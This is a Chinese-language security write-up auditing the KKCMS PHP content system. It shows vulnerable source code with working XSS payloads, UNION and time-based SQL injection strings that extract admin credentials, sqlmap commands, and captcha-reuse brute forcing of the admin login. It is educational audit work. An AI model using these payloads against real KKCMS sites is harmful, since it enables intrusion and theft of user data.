查看原文
其他

实战 | 记一次较为详细的代码审计过程

quan9i LemonSec 2023-05-14

前言

本次审计的话是Seay+昆仑镜进行漏洞扫描
Seay的话它可以很方便的查看各个文件,而昆仑镜可以很快且扫出更多的漏洞点,将这两者进行结合起来,就可以发挥更好的效果。
昆仑镜官方地址
https://github.com/LoRexxar/Kunlun-M

环境

KKCMS环境搭建

KKCMS链接如下
https://github.com/liumengxiang/kkcms
安装的话正常步骤就好,即

1、解压至phpstudy目录下
2、访问install
3、新建kkcms数据库,然后在安装的时候用这个数据库
4、安装完成,开始审计

目录结构

常见的目录结构,简单了解一下其作用

admin 后台管理目录
css CSS样式表目录
data 系统处理数据相关目录
install 网页安装目录
images 系统图片存放目录
template 模板
system 管理目录

代码审计

对扫描出的开始进行审计

验证码重用

admin/cms_login.php

源码如下

<?php
require_once('../system/inc.php');
if(isset($_POST['submit'])){
if ($_SESSION['verifycode'] != $_POST['verifycode']) {
alert_href('验证码错误','cms_login.php');
}
null_back($_POST['a_name'],'请输入用户名');
null_back($_POST['a_password'],'请输入密码');
null_back($_POST['verifycode'],'请输入验证码');
$a_name = $_POST['a_name'];
$a_password = $_POST['a_password'];
$sql = 'select * from xtcms_manager where m_name = "'.$a_name.'" and m_password = "'.md5($a_password).'"';
$result = mysql_query($sql);
if(!! $row = mysql_fetch_array($result)){
setcookie('admin_name',$row['m_name']);
setcookie('admin_password',$row['m_password']);
header('location:cms_welcome.php');
}else{
alert_href('用户名或密码错误','cms_login.php');
}
}
?>

验证码的校验代码

if ($_SESSION['verifycode'] != $_POST['verifycode']) {
alert_href('验证码错误','cms_login.php');
}

不难发现这里是将$_SESSION['verifycode']与POST上传的verifycode相比较,如果不相等就会刷新跳转,重新回到登录处,此时验证码也会被更新。
我们进入前端界面看一下

发现验证码js对应处存在文件,跟进查看一下

<?php
session_start();
$image = imagecreate(50, 34);
$bcolor = imagecolorallocate($image, 0, 0, 0);
$fcolor = imagecolorallocate($image, 255, 255, 255);
$str = '0123456789';
$rand_str = '';
for ($i = 0; $i < 4; $i++){
$k = mt_rand(1, strlen($str));
$rand_str .= $str[$k - 1];
}
$_SESSION['verifycode'] = $rand_str;
imagefill($image, 0, 0, $bcolor);
imagestring($image, 7, 7, 10, $rand_str, $fcolor);
header('content-type:image/png');
imagepng($image);
?>

该文件的含义是用0-9中的任意四个数字作为验证码,也就是说js引用该文件来产生验证码。这里学习过其他师傅的思路后,了解到

Burpsuite默认不解析js

因此我们这里就可以借助bp抓包,摒弃js,对用户名和密码进行爆破
抓包后发送到instruct模块,在密码处添加变量

而后添加一些常用的弱口令密码

开始爆破

成功爆破出密码

XSS

wap/shang.php

使用昆仑镜进行扫描,得到结果

结合Seay,查看该文件代码

可以看到直接输出了$_GET['fee'],因此我们这里直接传入一个xss语句尝试触发xss
payload
fee=<script>alert(1)</script>

wap/seacher.php

昆仑镜扫描

利用seay查看源码

//这只是一部分,具体的师傅们可自行查看此文件
<?php include('../system/inc.php');
include('../data/cxini.php');
$link=$zwcx['zhanwai'];
$q=$_POST['wd'];

<!DOCTYPE html>
<html>
<head lang="en">
<?php include 'head.php';?>
<title>搜索<?php echo $q?>-<?php echo $xtcms_seoname;?></title>
<meta name="keywords" content="<?php echo $q?>,<?php echo $xtcms_keywords;?>">
<meta name="description" content="<?php echo $xtcms_description;?>">

可以发现这里这个变量$q直接被输出了,这个$qPOST上传的wd参数,因此我们这里POST上传wd参数,给它赋值一个xss语句的话,应该是可以进行XSS的,我们试着去构造一下

wp=<script>alert(1)</script>

成功触发XSS

wap/movie.php

//部分源码
<?php include('../system/inc.php');
include '../system/list.php';
$page=$_GET['page'];?>
<!DOCTYPE html>
<html>
$b=(strpos($_GET['m'],'rank='));
$ye=substr($_GET['m'],$b+5);
?>
<a <?php if ($ye=="rankhot"){echo 'class="on"';}elseif($ye=="createtime" or $ye=="rankpoint"){}else{ echo 'class="on"';};?> href="?m=/dianying/list.php?rank=rankhot">最近热映</a>
<a <?php if ($ye=="createtime"){echo 'class="on"';}else{};?> href="?m=/dianying/list.php?rank=createtime">最新上映</a>
<a <?php if ($ye=="rankpoint"){echo 'class="on"';}else{};?> href="?m=/dianying/list.php?rank=rankpoint">最受好评</a>
</div>
<?php echo getPageHtml($page,$fenye,'movie.php?m='.$yourneed.'&page=');?>
</ul>
</div>
</div>
</section>
<?php include 'footer.php';?>

存在可控参数$_GET['m']$_GET['page'],开头引用了inc.php,试着找一下输出语句。
发现输出语句

<?php echo getPageHtml($page,$fenye,'movie.php?m='.$yourneed.'&page=');?>

发现被函数getPageHtml包裹了,跟进查看

function getPageHtml($_var_60, $_var_61, $_var_62)
{
$_var_63 = 5;
$_var_60 = $_var_60 < 1 ? 1 : $_var_60;
$_var_60 = $_var_60 > $_var_61 ? $_var_61 : $_var_60;
$_var_61 = $_var_61 < $_var_60 ? $_var_60 : $_var_61;
$_var_64 = $_var_60 - floor($_var_63 / 2);
$_var_64 = $_var_64 < 1 ? 1 : $_var_64;
$_var_65 = $_var_60 + floor($_var_63 / 2);
$_var_65 = $_var_65 > $_var_61 ? $_var_61 : $_var_65;
$_var_66 = $_var_65 - $_var_64 + 1;
if ($_var_66 < $_var_63 && $_var_64 > 1) {
$_var_64 = $_var_64 - ($_var_63 - $_var_66);
$_var_64 = $_var_64 < 1 ? 1 : $_var_64;
$_var_66 = $_var_65 - $_var_64 + 1;
}
if ($_var_66 < $_var_63 && $_var_65 < $_var_61) {
$_var_65 = $_var_65 + ($_var_63 - $_var_66);
$_var_65 = $_var_65 > $_var_61 ? $_var_61 : $_var_65;
}
if ($_var_60 > 1) {
$_var_67 .= '<li><a title="上一页" href="' . $_var_62 . ($_var_60 - 1) . '"">上一页</a></li>';
}
for ($_var_68 = $_var_64; $_var_68 <= $_var_65; $_var_68++) {
if ($_var_68 == $_var_60) {
$_var_67 .= '<li><a style="background:#FF9900;"><font color="#fff">' . $_var_68 . '</font></a></li>';
} else {
$_var_67 .= '<li><a href="' . $_var_62 . $_var_68 . '">' . $_var_68 . '</a></li>';
}
}
if ($_var_60 < $_var_65) {
$_var_67 .= '<li><a title="下一页" href="' . $_var_62 . ($_var_60 + 1) . '"">下一页</a></li>';
}
return $_var_67;
}

跟进查看后也没有发现输出点,结果网页端js代码再看看
传参

http://127.0.0.1:8080/kkcms-kkcms/wap/movie.php?m=111

查看源代码,Ctrl+f?m=111查找对应js代码

找到js代码

<li><a href="movie.php?m=111&page=4">4</a></li><li><a href="movie.php?m=111&page=5">5</a></li><li><a title="下一页" href="movie.php?m=111&page=2"">下一页</a></li></ul>

尝试直接闭合a标签执行xss语句,构造payload如下

?m="><script>alert(111)</script>


成功触发xss
同类XSS文件如下

wap/tv.php
其对应输出代码如下
<?php echo getPageHtml($page,$fenye,'tv.php?m='.$yourneed.'&page=');?>

wap/zongyi.php
其对应输出代码如下
<?php echo getPageHtml($page,$fenye,'zongyi.php?m='.$yourneed.'&page=');?>

wap/dongman.php
其对应输出代码如下
<?php echo getPageHtml($page,$fenye,'dongman.php?m='.$yourneed.'&page=');?>

system/pcon.php(失败)


发现这里有个echo 变量的,利用Seay跟进一下这个文件

<?php
if ($xtcms_pc==1){
?>

<script>
function uaredirect(f){try{if(document.getElementById("bdmark")!=null){return}var b=false;if(arguments[1]){var e=window.location.host;var a=window.location.href;if(isSubdomain(arguments[1],e)==1){f=f+"/#m/"+a;b=true}else{if(isSubdomain(arguments[1],e)==2){f=f+"/#m/"+a;b=true}else{f=a;b=false}}}else{b=true}if(b){var c=window.location.hash;if(!c.match("fromapp")){if((navigator.userAgent.match(/(iPhone|iPod|Android|ios)/i))){location.replace(f)}}}}catch(d){}}function isSubdomain(c,d){this.getdomain=function(f){var e=f.indexOf("://");if(e>0){var h=f.substr(e+3)}else{var h=f}var g=/^www\./;if(g.test(h)){h=h.substr(4)}return h};if(c==d){return 1}else{var c=this.getdomain(c);var b=this.getdomain(d);if(c==b){return 1}else{c=c.replace(".","\\.");var a=new RegExp("\\."+c+"$");if(b.match(a)){return 2}else{return 0}}}};
</script>
<?php
if ($_GET['play']!=""){
$cc="play.php?play=";
$dd="bplay.php?play=";
$yugao=explode('.html',$_GET['play']);
for($k=0;$k<count($yugao);$k++){
if ($k>0){
$tiaourl=$cc.$_GET['play'];
}
else{
$tiaourl=$dd.$_GET['play'];
}
}
}
?>
<script type="text/javascript">uaredirect("<?php echo $xtcms_domain;?>wap/<?php echo $tiaourl;?>");</script>
<?php } ?>

此时发现可控变量play,如果让他变为xss恶意语句,就可能会实现xss,但我们这个时候看一下最上面,发现有一个if语句

if ($xtcms_pc==1){

它这个条件为true后执行的语句,不仔细看的话甚至都找不到结尾处在哪,经过仔细查看后发现在最后


这里的话也就是说,我们只有满足了$xtcms_pc==1这个条件,才能够成功的往下执行,进而利用play参数构造xss语句,因此我们此时就需要跟进这个$xtcms_pc变量,全局搜索一下


发现变量赋值点,跟进查看

简单看一下这里的代码,发现这个结果是从SQL查询处的结果取出的,而SQL语句不存在变量,因此这里的话我们是不可控的,所以这里的话应该是不存在XSS的,G

admin/cms_ad.php

登录后台后发现有个广告管理界面

发现这里可以设置名称和广告内容,尝试在名称处插入xss语句


发现此时成功触发了xss语句,那么这里的话应该是直接将广告名称进行了输出,我们查看后端代码,验证一下

<?php
include('../system/inc.php');
include('cms_check.php');
error_reporting(0);
include('model/ad.php');
?>
<?php include('inc_header.php') ?>
<div class="tab-pane1">
<div class="row">
<div class="col-sm-12">
<div class="form-group has-feedback">
<label for="name-w1">名称</label>
<input id="l_name" class="form-control" name="title" type="text" size="60" data-validate="required:请填写广告名称" value="" />
<span class="help-block">请输入广告名称</span>
</div>
</div>
</div>
<div class="row">
<div class="col-sm-12">
<div class="form-group">
<label for="ccnumber-w1">内容</label>
<textarea id="l_picture" class="form-control" name="pic" /></textarea>
<span class="help-block">请输入广告的内容&lt;a href="网址" target="_blank"&gt;&lt;img src="图片地址" style="width:100%"&gt;&lt;/a&gt;</span>
</div>
</div>
</div>
<div class="row">
<div class="form-group col-sm-12">
<label for="ccmonth-w1">广告位置</label>
<select id="catid" class="form-control" name="catid">
<?php
$result = mysql_query('select * from xtcms_adclass');
while($row1 = mysql_fetch_array($result)){
?>
<option value="<?php echo $row1['id']?>"><?php echo $row1['name']?></option>
<?php
}
?>

后端名称处代码为

<input id="l_name" class="form-control" name="title" type="text" size="60" data-validate="required:请填写广告名称" value="" />

可以发现这里只是限制了长度为60,其他没有什么限制,输出广告内容的代码是

$result = mysql_query('select * from xtcms_ad order by id desc');
while($row = mysql_fetch_array($result)){
?><tr>
<td><?php echo $row['id']?></td>
<td><?php echo $row['title']?></td>

这里的话是取出结果,然后将结果赋值给$row,最后输出了$row['id']$row['name'],正如同所说的一样,不存在过滤点,因而导致了XSS的出现
而你此时大概看一下代码的话,它的内容也是如此,内容是在加载页面的时候出现的,这个时候我们可以用img来构造一个xss恶意语句


此时随便访问首页的一个视频

成功触发XSS

youlian.php

<?php
include('system/inc.php');
if(isset($_POST['submit'])){
null_back('admin','.');
null_back($_POST['content'],'你的链接及网站名');
$data['userid'] = $_POST['userid'];
$data['content'] =addslashes($_POST['content']);
$data['time'] =date('y-m-d h:i:s',time());

$str = arrtoinsert($data);
$sql = 'insert into xtcms_youlian ('.$str[0].') values ('.$str[1].')';

设置了addslashes函数防止SQL注入,但并未防止XSS,我们构造payload如下

<a href=Javascript:alert(1)>xss</a>

后端查看就会发现

XSS被触发

admin/cms_kamilist.php

//部分源码
<?php
include('../system/inc.php');
include('cms_check.php');
error_reporting(0);

?>
<?php include('inc_header.php') ?>
<select class="form-control" onchange="location.href='cms_kamilist.php?c_used='+this.options[this.selectedIndex].value;">
<option value="">使用情况</option>
<option value="1" >已使用</option> <option value="0">未使用</option> </select>
<input id="c_pass" class="form-control" type="text" name="c_number" placeholder="卡密"/>
<input id="id" class="input" type="hidden" name="id" value="<?php echo $_GET["id"] ?>"/>
<input type="submit" id="search" class="btn btn-info" name="search" value="查找" />
<a class="btn btn-info" href="cms_dao.php<?php if (isset($_GET['id'])) { echo '?cpass='.$_GET["id"];}?>"><span class="icon-plus-square">导出</span></a>
</div>

关注

value="<?php echo $_GET["id"] ?>"

发现这里参数id没有什么防护,虽然开头涉及了inc.php,但那个是防护SQL注入的,不影响xss。我们这里如果能够闭合语句的话,似乎就可以触发XSS了。payload

id="><script>alert(1)</script>
//此时的语句就是 value="<?php echo "><script>alert(1)</script> ?>"

结果如下

wx_api.php

class wechatCallbackapiTest
{
public function valid()
{
$echoStr = $_GET["echostr"];
if($this->checkSignature()){
echo $echoStr;
exit;
}
}

可以发现这里的参$_GET['echostr']不存在防护,在传入后经过一个if语句直接进行了输出,我们跟进一下这个if语句了的checkSignature函数查看一下

private function checkSignature()
{
// you must define TOKEN by yourself
if (!defined("TOKEN")) {
throw new Exception('TOKEN is not defined!');
}

$signature = $_GET["signature"];
$timestamp = $_GET["timestamp"];
$nonce = $_GET["nonce"];

$token = TOKEN;
$tmpArr = array($token, $timestamp, $nonce);
// use SORT_STRING rule
sort($tmpArr, SORT_STRING);
$tmpStr = implode( $tmpArr );
$tmpStr = sha1( $tmpStr );

if( $tmpStr == $signature ){
return true;
}else{
return false;
}
}

发现这里大概是个检验token的,传个空对应的md5值应该就可以,尝试xss
payload

?echostr=<script>alert('别当舔狗')</script>&signature=da39a3ee5e6b4b0d3255bfef95601890afd80709

SQL

bplay.php

<?php
include('system/inc.php');//载入全局配置文件
error_reporting(0);//关闭错误报告
$result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['play'].' ');
if (!!$row = mysql_fetch_array($result)) {
$d_id = $row['d_id'];
$d_name = $row['d_name'];
$d_jifen = $row['d_jifen'];
$d_user = $row['d_user'];
$d_parent = $row['d_parent'];
$d_picture = $row['d_picture'];
$d_content = $row['d_content'];
$d_scontent = $row['d_scontent'];
$d_seoname = $row['d_seoname'];
$d_keywords = $row['d_keywords'];
$d_description = $row['d_description'];
$d_player = $row['d_player'];
$d_title = ($d_seoname == '') ? $d_name .' - '.$xtcms_name : $d_seoname.' - '.$d_name.' - '.$xtcms_name ;
} else {
die ('您访问的详情不存在');
}
$result1 = mysql_query('select * from xtcms_vod_class where c_id='.$d_parent.' order by c_id asc');
while ($row1 = mysql_fetch_array($result1)){
$c_hide=$row1['c_hide'];
}
if($c_hide>0){
if(!isset($_SESSION['user_name'])){
alert_href('请注册会员登录后观看',''.$xtcms_domain.'ucenter');
};
$result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');//查询会员积分
if($row = mysql_fetch_array($result)){
$u_group=$row['u_group'];//到期时间
}
if($u_group<=1){//如果会员组
alert_href('对不起,您不能观看会员视频,请升级会员!',''.$xtcms_domain.'ucenter/mingxi.php');
}
}
include('system/shoufei.php');
if($d_jifen>0){//积分大于0,普通会员收费
if(!isset($_SESSION['user_name'])){
alert_href('请注册会员登录后观看',''.$xtcms_domain.'ucenter');
};
$result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');//查询会员积分
if($row = mysql_fetch_array($result)){
$u_points=$row['u_points'];//会员积分
$u_plays=$row['u_plays'];//会员观看记录
$u_end=$row['u_end'];//到期时间
$u_group=$row['u_group'];//到期时间
}

if($u_group<=1){//如果会员组
if($d_jifen>$u_points){
alert_href('对不起,您的积分不够,无法观看收费数据,请推荐本站给您的好友、赚取更多积分',''.$xtcms_domain.'ucenter/yaoqing.php');
} else{

if (strpos(",".$u_plays,$d_id) > 0){

}
//有观看记录不扣点
else{

$uplays = ",".$u_plays.$d_id;
$uplays = str_replace(",,",",",$uplays);
$_data['u_points'] =$u_points-$d_jifen;
$_data['u_plays'] =$uplays;
$sql = 'update xtcms_user set '.arrtoupdate($_data).' where u_name="'.$_SESSION['user_name'].'"';
if (mysql_query($sql)) {

alert_href('您成功支付'.$d_jifen.'积分,请重新打开视频观看!',''.$xtcms_domain.'bplay.php?play='.$d_id.'');
}
}

}
}
}
if($d_user>0){
if(!isset($_SESSION['user_name'])){
alert_href('请注册会员登录后观看',''.$xtcms_domain.'ucenter');
};
$result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');//查询会员积分
if($row = mysql_fetch_array($result)){
$u_points=$row['u_points'];//会员积分
$u_plays=$row['u_plays'];//会员观看记录
$u_end=$row['u_end'];//到期时间
$u_group=$row['u_group'];//到期时间
}
if($u_group<$d_user){
alert_href('您的会员组不支持观看此视频!',''.$xtcms_domain.'ucenter/mingxi.php');
}
}
function get_play($t0){
$result = mysql_query('select * from xtcms_player where id ='.$t0.'');
if (!!$row = mysql_fetch_array($result)){
return $row['n_url'];
}else{
return $t0;
};
}
$result = mysql_query('select * from xtcms_vod where d_id ='.$d_id.'');
if (!!$row = mysql_fetch_array($result)){
$d_scontent=explode("\r\n",$row['d_scontent']);
//print_r($d_scontent);
for($i=0;$i<count($d_scontent);$i++)
{ $d_scontent[$i]=explode('$',$d_scontent[$i]);
}
$playdizhi=get_play($row['d_player']).$d_scontent[0][1];
}else{
return '';
};

include('template/'.$xtcms_bdyun.'/bplay.php');
?>

这里的话可以看出主要的SQL语句是这句话

$result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['play'].' ');

然后这个play参数是GET传参的,同时看这里的代码可以看出它是没有单引号或者双引号包裹的,此时我们跟进一下include的文件,也就是system/inc.php,查看一下这个文件

跟进这个library.php

<?php
//展示的只是一部分
if (!defined('PCFINAL')) {
exit('Request Error!');
}
if (!get_magic_quotes_gpc()) {
if (!empty($_GET)) {
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST)) {
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}

可以发现这里的话对传入的参数都进行了特殊字符转义,防止SQL注入
但事实上我们那个参数未被单引号或者双引号包裹,这也就意味着这里的防护其实是无意义的,因此我们这里的话我们也就可以尝试去进行SQL注入
首先我们试着去检测一下字段数,payload如下所示

play=1 order by 17 //回显正常
play=1 order by 18 //回显错误

这里的话也就可以发现字段数为17了,接下来就可以进去联合查询了,首先我们需要去找一下回显位

play=-1 union select 1,2,3,0,0,6,7,8,9,10,11,12,13,14,15,16,17

可以发现回显位是2和9,我们这个时候就可以去读取数据库、数据表这些了,payload如下

//查库
play=-1 union select 1,2,3,0,0,6,7,8,database(),10,11,12,13,14,15,16, 17
//查表
play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(table_name) from information_schema.tables where table_schema=database()),10,11,12,13,14,15,16, 17
//查列
play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(column_name) from information_schema.columns where table_name=0x626565735f61646d696e),10,11,12,13,14,15,16, 17//之所以用十六进制是因为这里的单引号会被转义
//查字段
play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(admin_name,0x7e,admin_password) from bees_admin),10,11,12,13,14,15,16, 17

wap/user.php(失败)

结合Seay

<?php include('../system/inc.php');
error_reporting(0);
$op=$_GET['op'];
if(!isset($_SESSION['user_name'])){
alert_href('请登陆后进入','login.php?op=login');
};
//退出
if ($op == 'out'){
unset($_SESSION['user_name']);
unset($_SESSION['user_group']);
if (! empty ( $_COOKIE ['user_name'] ) || ! empty ( $_COOKIE ['user_password'] ))
{
setcookie ( "user_name", null, time () - 3600 * 24 * 365 );
setcookie ( "user_password", null, time () - 3600 * 24 * 365 );
}
header('location:login.php?op=login');
}
//支付
if ( isset($_POST['paysave']) ) {
if ($_POST['pay']==1){

//判定会员组别
$result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
if($row = mysql_fetch_array($result)){

$u_points=$row['u_points'];
$u_group=$row['u_group'];
$send = $row['u_end'];

//获取会员卡信息
$card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');
if($row2 = mysql_fetch_array($card)){
$day=$row2['day'];//天数
$userid=$row2['userid'];//会员组
$jifen=$row2['jifen'];//积分
}
//判定会员组
if ($row['u_group']>$userid){
alert_href('您现在所属会员组的权限制大于等于目标会员组权限值,不需要升级!','mingxi.php');
}

看这一处代码

$card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');

不难发现这里的Select语句中的参数被双引号包裹了,而开头包含了inc.php文件,之前就已经查看过,这个文件包含了四个文件,其中一个文件中有addslashes_deep函数,对传入的参数中的特殊字符(如',",\)进行了转义,因此我们这里的话无法通过闭合双引号达到SQL注入的目的,同文件的其他SQL注入处也是如此,这里不再展示

wap/login.php

扫出login.php中存在多个可控变量,我们使用Seay来看一下具体代码

//展示的仅为一部分
<?php include('../system/inc.php');
$op=$_GET['op'];

if(isset($_POST['submit'])){
null_back($_POST['u_name'],'请输入用户名');
null_back($_POST['u_password'],'请输入密码');
$u_name = $_POST['u_name'];
$u_password = $_POST['u_password'];
$sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
$result = mysql_query($sql);
if(!! $row = mysql_fetch_array($result)){

$_data['u_loginnum'] = $row['u_loginnum']+1;
$_data['u_loginip'] =$_SERVER["REMOTE_ADDR"];
$_data['u_logintime'] =date('y-m-d h:i:s',time());
if(!empty($row['u_end'])) $u_end= $row['u_end'];
if(time()>$u_end){
$_data['u_flag'] =="0";
$_data['u_start'] =="";
$_data['u_end'] =="";
$_data['u_group'] =1;
}else{
$_data['u_flag'] ==$row["u_flag"];
$_data['u_start'] ==$row["u_start"];
$_data['u_end'] ==$row["u_end"];
$_data['u_group'] =$row["u_group"];
}
mysql_query('update xtcms_user set '.arrtoupdate($_data).' where u_id ="'.$row['u_id'].'"');
$_SESSION['user_name']=$row['u_name'];
$_SESSION['user_group']=$row['u_group'];
if($_POST['brand1']){
setcookie('user_name',$row['u_name'],time()+3600 * 24 * 365);
setcookie('user_password',$row['u_password'],time()+3600 * 24 * 365);
}
header('location:user.php');
}else{
alert_href('用户名或密码错误或者尚未激活','login.php?op=login');
}
}
if(isset($_POST['reg'])){
$username = stripslashes(trim($_POST['name']));
// 检测用户名是否存在
$query = mysql_query("select u_id from xtcms_user where u_name='$username'");
if(mysql_fetch_array($query)){
echo '<script>alert("用户名已存在,请换个其他的用户名");window.history.go(-1);</script>';
exit;
}
$result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');
if(mysql_fetch_array($result)){
echo '<script>alert("邮箱已存在,请换个其他的邮箱");window.history.go(-1);</script>';
exit;
}
$password = md5(trim($_POST['password']));
$email = trim($_POST['email']);
$regtime = time();
$token = md5($username.$password.$regtime); //创建用于激活识别码
$token_exptime = time()+60*60*24;//过期时间为24小时后
$data['u_name'] = $username;
$data['u_password'] =$password;
$data['u_email'] = $email;
$data['u_regtime'] =$regtime;
if($xtcms_mail==1){
$data['u_status'] =0;
}else{
$data['u_status'] =1;
}
$data['u_group'] =1;
$data['u_fav'] =0;
$data['u_plays'] =0;
$data['u_downs'] =0;
//推广注册
if (isset($_GET['tg'])) {
$data['u_qid'] =$_GET['tg'];
$result = mysql_query('select * from xtcms_user where u_id="'.$_GET['tg'].'"');
if($row = mysql_fetch_array($result)){

$u_points=$row['u_points'];
}

不难发现这里的SELECT语句有以下几个

$sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
$query = mysql_query("select u_id from xtcms_user where u_name='$username'");
$result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');
$result = mysql_query('select * from xtcms_user where u_id="'.$_GET['tg'].'"');

但文件开头就声明包含了inc.php文件,说明这里的话包含了过滤函数,也就是对SQL注入是有防护的,对'"以及\都进行了转义,因此这里如果参数是被单引号或者双引号包裹的话,那么这里极有可能算是G了,我们看第一个,也就是

$sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';

它这个不难发现,$u_name$u_password都被双引号包裹了,因此这里就不存在SQL注入了。但是看一下第二个,第二个的username参数虽然是被双引号进行包裹了,但你会发现这个参数的传值方式是$username = stripslashes(trim($_POST['name']));,这个stripslashes的功能是消除由addslashes函数增加的反斜杠,一个增加一个消除,那这里不就跟没有设置过滤一样吗,因此这个name参数是存在SQL注入的,我们通过BurpSuite进行抓包

然后将内容复制到一个txt文件中

我这里保存在sqlmap目录下

而后打开sqlmap,输入如下payload即可

python sqlmap.py "D:/sqlmap/2.txt" --dbs --batch

可以看到存在延时注入,成功爆破出数据库

vlist.php

在这个界面,用单引号测试一下发现跟正常界面有所不同

看一下后端代码

<?php
if ($_GET['cid'] != 0){
?>

<?php
$result = mysql_query('select * from xtcms_vod_class where c_pid='.$_GET['cid'].' order by c_sort desc,c_id asc');
while ($row = mysql_fetch_array($result)){

echo '<a href="./vlist.php?cid='.$row['c_id'].'" class="acat" style="white-space: pre-wrap;margin-bottom: 4px;">'.$row['c_name'].'</a>';
}
?>

这里简单看一下的话,不难发现这里的参数cid是不存在任何防护的,即没有被单引号或者双引号包裹,因此这里开头引用的inc.php虽然对SQL注入进行了防护,但在这里其实是没有意义的,用SQLmap跑一下

python sqlmap.py -u http://127.0.0.1:8080/kkcms-kkcms/vlist.php?cid=1 --dbs --batch

后端文件

扫出多个后端文件存在SQL注入,接下来逐一进行检测

admin/cms_admin_edit.php

源码如下

//部分代码
<?php
include('../system/inc.php');
include('cms_check.php');
error_reporting(0);
include('model/admin_edit.php');
?>
<?php
$result = mysql_query('select * from xtcms_manager where m_id = '.$_GET['id'].'');
if($row = mysql_fetch_array($result)){
?>

这里的话重点关注肯定是SQL语句,也就是这句话

$result = mysql_query('select * from xtcms_manager where m_id = '.$_GET['id'].'');

发现id是无引号包裹的,这意味着这里是存在SQL注入的,我们去验证一下

id=1

id=1 and sleep(5)

发现两者回显时间不同,说明存在SQL注入,具体为时间盲注,这里就可以编写Python脚本来爆破数据库信息,也可以通过SQLmap,这里不再展示

admin/cms_login.php

<?php
require_once('../system/inc.php');
if(isset($_POST['submit'])){
if ($_SESSION['verifycode'] != $_POST['verifycode']) {
alert_href('验证码错误','cms_login.php');
}
null_back($_POST['a_name'],'请输入用户名');
null_back($_POST['a_password'],'请输入密码');
null_back($_POST['verifycode'],'请输入验证码');
$a_name = $_POST['a_name'];
$a_password = $_POST['a_password'];
$sql = 'select * from xtcms_manager where m_name = "'.$a_name.'" and m_password = "'.md5($a_password).'"';
$result = mysql_query($sql);

这里的话就是发现这个可控参数都被双引号包裹了,然后文件开头包含了inc.php,意味着存在对SQL注入的防护,因此这里的话是无法实现SQL注入的,转战下一处。

admin/cms_user_edit.php

//部分代码
<?php
include('../system/inc.php');
include('cms_check.php');
error_reporting(0);
include('model/user_edit.php');
?>
<?php
$result = mysql_query('select * from xtcms_user where u_id = '.$_GET['id'].'');
if($row = mysql_fetch_array($result)){
?>

一眼顶真,无包裹方式,存在SQL注入

id = 16 and sleep(5)

具体不再演示,此类的我将其列在一起,具体如下所示

admin/cms_nav_edit.php
其SQL语句如下
$result = mysql_query('select * from xtcms_nav where id = '.$_GET['id'].'');

admin/cms_detail_edit.php
其SQL语句如下
$result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['id'].'');

admin/cms_channel_edit.php
其SQL语句如下
$result = mysql_query('select * from xtcms_vod_class where c_id = '.$_GET['id']);

admin/cms_check_edit.php
其SQL语句如下
$result = mysql_query('select * from xtcms_book where id = '.$_GET['id'].'');

admin/cms_player_edit.php
其SQL语句如下
$result = mysql_query('select * from xtcms_player where id = '.$_GET['id'].'');

admin/cms_slideshow_edit.php
其SQL语句如下
$result = mysql_query('select * from xtcms_slideshow where id = '.$_GET['id'].' ');

admin/cms_ad_edit.php
其SQL语句如下
$result = mysql_query('select * from xtcms_ad where id = '.$_GET['id'].' ');

admin/cms_link_edit.php
其SQL语句如下
$result = mysql_query('select * from xtcms_link where l_id = '.$_GET['l_id'].'');

admin/cms_usercard_edit.php
其SQL语句如下
$result = mysql_query('select * from xtcms_userka where id = '.$_GET['id'].'');

admin/cms_youlian_edit.php
其SQL语句如下
$result = mysql_query('select * from xtcms_youlian where id = '.$_GET['id'].'');

admin/cms_user.php

<?php
include('../system/inc.php');
include('cms_check.php');
error_reporting(0);
include('model/user.php');
?>
if (isset($_GET['key'])) {
$sql = 'select * from xtcms_user where u_name like "%'.$_GET['key'].'%" order by u_id desc';
$pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
$result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
}

这里的话参数是在like处,这里的话经过本地测试及查找资料并未发现此处可以进行SQL注入,通过SQLmap扫描也无果,各位大师傅如果有思路的话还请指点一二

admin/cms_detail.php

if (isset($_GET['cid'])) {
if ($_GET['cid'] != 0){
$sql = 'select * from xtcms_vod where d_parent in ('.$_GET['cid'].') order by d_id desc';
$pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
$result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
}else{
$sql = 'select * from xtcms_vod order by d_id desc';
$pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
$result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
}
}

这里的话关注这里

$sql = 'select * from xtcms_vod where d_parent in ('.$_GET['cid'].') order by d_id desc';

这个cid参数是被括号包裹的,这里我们可以尝试通过使用这种payload来进行闭合语句从而进行SQL注入

cid=1) and sleep(1) --+
//此时语句$sql = 'select * from xtcms_vod where d_parent in (1) and sleep(5)

根据回显时间可以看出此处是存在SQL注入的

admin/cms_kamilist.php

<?php
include('../system/inc.php');
include('cms_check.php');
error_reporting(0);

?>
if (isset($_GET['c_used'])) {
$sql = 'select * from xtcms_user_card where c_used="'.$_GET['c_used'].'" order by c_id desc';
$pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
